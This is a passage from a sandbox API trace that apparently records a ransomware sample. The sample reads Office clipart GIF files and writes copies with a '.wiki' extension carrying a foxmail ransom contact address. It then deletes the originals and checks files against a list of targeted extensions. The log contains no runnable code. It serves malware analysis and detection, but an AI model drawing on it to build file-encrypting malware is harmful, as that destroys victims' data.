lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.695] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.695] SetEndOfFile (hFile=0x20c) returned 1 [0060.695] CloseHandle (hObject=0x20c) returned 1 [0060.695] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.695] SetEndOfFile (hFile=0x180) returned 1 [0060.696] CloseHandle (hObject=0x180) returned 1 [0060.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0060.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0060.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0060.697] lstrlenW (lpString=".doc") returned 4 [0060.697] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.697] lstrlenW (lpString=".docx") returned 5 [0060.697] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.697] lstrlenW (lpString=".pdf") returned 4 [0060.697] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.697] lstrlenW (lpString=".xls") returned 4 [0060.697] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.697] lstrlenW (lpString=".xlsx") returned 5 [0060.697] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.697] lstrlenW (lpString=".ppt") returned 4 [0060.697] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0060.697] lstrlenW (lpString=".zip") returned 4 [0060.697] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.697] lstrlenW (lpString=".rar") returned 4 [0060.697] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.697] lstrlenW (lpString=".bz2") returned 4 [0060.697] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.697] lstrlenW (lpString=".7z") returned 3 [0060.697] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0060.697] lstrlenW (lpString=".dbf") returned 4 [0060.697] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0060.697] lstrlenW (lpString=".1cd") returned 4 [0060.697] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0060.697] lstrlenW (lpString=".jpg") returned 4 [0060.697] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0060.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0060.697] lstrlenW (lpString=".doc") returned 4 [0060.698] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.698] lstrlenW (lpString=".docx") returned 5 [0060.698] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.698] lstrlenW (lpString=".pdf") returned 4 [0060.698] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.698] lstrlenW (lpString=".xls") returned 4 [0060.698] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.698] lstrlenW (lpString=".xlsx") returned 5 [0060.698] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.698] lstrlenW (lpString=".ppt") returned 4 [0060.698] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0060.698] lstrlenW (lpString=".zip") returned 4 [0060.698] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.698] lstrlenW (lpString=".rar") returned 4 [0060.698] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.698] lstrlenW (lpString=".bz2") returned 4 [0060.698] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.698] lstrlenW (lpString=".7z") returned 3 [0060.698] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0060.698] lstrlenW (lpString=".dbf") returned 4 [0060.698] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0060.698] lstrlenW (lpString=".1cd") returned 4 [0060.698] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0060.698] lstrlenW (lpString=".jpg") returned 4 [0060.698] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.698] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.698] lstrlenW (lpString="AG00164_.GIF") returned 12 [0060.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.699] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=13254) returned 1 [0060.699] CloseHandle (hObject=0x180) returned 1 [0060.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 0x20 [0060.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.699] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.699] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0060.699] GetLastError () returned 0x0 [0060.699] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x33c6, lpOverlapped=0x0) returned 1 [0060.702] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x33d0, lpOverlapped=0x0) returned 1 [0060.703] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.703] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.703] SetEndOfFile (hFile=0x20c) returned 1 [0060.703] CloseHandle (hObject=0x20c) returned 1 [0060.703] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.703] SetEndOfFile (hFile=0x180) returned 1 [0060.704] CloseHandle (hObject=0x180) returned 1 [0060.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0060.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0060.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0060.705] lstrlenW (lpString=".doc") returned 4 [0060.705] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.705] lstrlenW (lpString=".docx") returned 5 [0060.705] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.705] lstrlenW (lpString=".pdf") returned 4 [0060.705] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.705] lstrlenW (lpString=".xls") returned 4 [0060.705] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.705] lstrlenW (lpString=".xlsx") returned 5 [0060.705] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.705] lstrlenW (lpString=".ppt") returned 4 [0060.705] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0060.705] lstrlenW (lpString=".zip") returned 4 [0060.705] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.705] lstrlenW (lpString=".rar") returned 4 [0060.705] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.705] lstrlenW (lpString=".bz2") returned 4 [0060.705] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.705] lstrlenW (lpString=".7z") returned 3 [0060.705] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0060.705] lstrlenW (lpString=".dbf") returned 4 [0060.705] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0060.705] lstrlenW (lpString=".1cd") returned 4 [0060.705] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0060.705] lstrlenW (lpString=".jpg") returned 4 [0060.705] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0060.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0060.706] lstrlenW (lpString=".doc") returned 4 [0060.706] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.706] lstrlenW (lpString=".docx") returned 5 [0060.706] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.706] lstrlenW (lpString=".pdf") returned 4 [0060.706] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.706] lstrlenW (lpString=".xls") returned 4 [0060.706] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.706] lstrlenW (lpString=".xlsx") returned 5 [0060.706] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.706] lstrlenW (lpString=".ppt") returned 4 [0060.706] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0060.706] lstrlenW (lpString=".zip") returned 4 [0060.706] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.706] lstrlenW (lpString=".rar") returned 4 [0060.706] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.706] lstrlenW (lpString=".bz2") returned 4 [0060.706] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.706] lstrlenW (lpString=".7z") returned 3 [0060.706] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0060.706] lstrlenW (lpString=".dbf") returned 4 [0060.706] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0060.706] lstrlenW (lpString=".1cd") returned 4 [0060.706] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0060.706] lstrlenW (lpString=".jpg") returned 4 [0060.706] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.707] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.707] lstrlenW (lpString="AG00165_.GIF") returned 12 [0060.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.708] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=8582) returned 1 [0060.708] CloseHandle (hObject=0x180) returned 1 [0060.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 0x20 [0060.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.708] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.708] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0060.708] GetLastError () returned 0x0 [0060.708] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x2186, lpOverlapped=0x0) returned 1 [0060.710] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x2190, lpOverlapped=0x0) returned 1 [0060.711] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.711] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.711] SetEndOfFile (hFile=0x20c) returned 1 [0060.711] CloseHandle (hObject=0x20c) returned 1 [0060.712] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.712] SetEndOfFile (hFile=0x180) returned 1 [0060.712] CloseHandle (hObject=0x180) returned 1 [0060.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.713] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0060.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0060.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0060.713] lstrlenW (lpString=".doc") returned 4 [0060.713] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.713] lstrlenW (lpString=".docx") returned 5 [0060.713] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.713] lstrlenW (lpString=".pdf") returned 4 [0060.713] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.713] lstrlenW (lpString=".xls") returned 4 [0060.713] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.713] lstrlenW (lpString=".xlsx") returned 5 [0060.713] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.713] lstrlenW (lpString=".ppt") returned 4 [0060.713] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0060.713] lstrlenW (lpString=".zip") returned 4 [0060.713] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.713] lstrlenW (lpString=".rar") returned 4 [0060.713] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.713] lstrlenW (lpString=".bz2") returned 4 [0060.713] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.713] lstrlenW (lpString=".7z") returned 3 [0060.713] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0060.714] lstrlenW (lpString=".dbf") returned 4 [0060.714] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0060.714] lstrlenW (lpString=".1cd") returned 4 [0060.714] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0060.714] lstrlenW (lpString=".jpg") returned 4 [0060.714] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0060.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0060.714] lstrlenW (lpString=".doc") returned 4 [0060.714] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.714] lstrlenW (lpString=".docx") returned 5 [0060.714] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.714] lstrlenW (lpString=".pdf") returned 4 [0060.714] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.714] lstrlenW (lpString=".xls") returned 4 [0060.714] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.714] lstrlenW (lpString=".xlsx") returned 5 [0060.714] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.714] lstrlenW (lpString=".ppt") returned 4 [0060.714] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0060.714] lstrlenW (lpString=".zip") returned 4 [0060.714] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.714] lstrlenW (lpString=".rar") returned 4 [0060.714] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.714] lstrlenW (lpString=".bz2") returned 4 [0060.714] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.714] lstrlenW (lpString=".7z") returned 3 [0060.714] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0060.714] lstrlenW (lpString=".dbf") returned 4 [0060.714] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0060.715] lstrlenW (lpString=".1cd") returned 4 [0060.715] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0060.715] lstrlenW (lpString=".jpg") returned 4 [0060.715] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.715] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.715] lstrlenW (lpString="AG00167_.GIF") returned 12 [0060.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.715] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=4894) returned 1 [0060.715] CloseHandle (hObject=0x180) returned 1 [0060.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 0x20 [0060.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.715] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.716] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0060.716] GetLastError () returned 0x0 [0060.716] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x131e, lpOverlapped=0x0) returned 1 [0060.952] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x1320, lpOverlapped=0x0) returned 1 [0060.954] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.954] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.954] SetEndOfFile (hFile=0x20c) returned 1 [0060.954] CloseHandle (hObject=0x20c) returned 1 [0060.954] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.954] SetEndOfFile (hFile=0x180) returned 1 [0060.955] CloseHandle (hObject=0x180) returned 1 [0060.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 